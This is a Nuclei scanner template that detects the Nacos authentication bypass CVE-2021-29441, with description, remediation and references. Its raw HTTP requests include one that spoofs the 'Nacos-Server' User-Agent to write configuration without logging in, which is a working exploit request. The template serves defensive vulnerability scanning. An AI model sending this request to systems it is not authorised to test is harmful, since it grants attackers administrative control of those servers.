70 lines
2.3 KiB
YAML
70 lines
2.3 KiB
YAML
id: CVE-2021-29441
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info:
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name: Nacos <1.4.1 - Authentication Bypass
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author: dwisiswant0
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severity: critical
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description: |
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This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.
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In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)
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Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that
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enables Nacos servers to bypass this filter and therefore skip authentication checks.
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This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
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This issue may allow any user to carry out any administrative tasks on the Nacos server.
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remediation: |
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Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441).
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reference:
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- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
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- https://github.com/alibaba/nacos/issues/4701
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- https://github.com/advisories/GHSA-36hp-jr8h-556f
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- https://github.com/alibaba/nacos/pull/4703
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-29441
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cwe-id: CWE-290
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epss-score: 0.96644
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epss-percentile: 0.99506
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cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: alibaba
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product: nacos
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tags: nacos,auth-bypass,cve,cve2021
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http:
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- raw:
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- |
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POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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User-Agent: Nacos-Server
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req-condition: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- "status_code_1 == 403"
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- "status_code_2 == 200"
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condition: and
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- type: dsl
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dsl:
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- "contains(body_1, 'Forbidden')"
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- "body_2 == 'true'"
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condition: and
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- type: word
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part: header
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words:
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- "application/json"
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# digest: 4a0a00473045022009c59c9aa30cc80c2354e9633deaaca71fe5e2e5dcde4d7c9c7620a380346130022100bad37bbe1a8c41dec0233fa1de9d2d901f5c385c7291cd3ec2bb77ad03391698:922c64590222798bb761d5b6d8e72950
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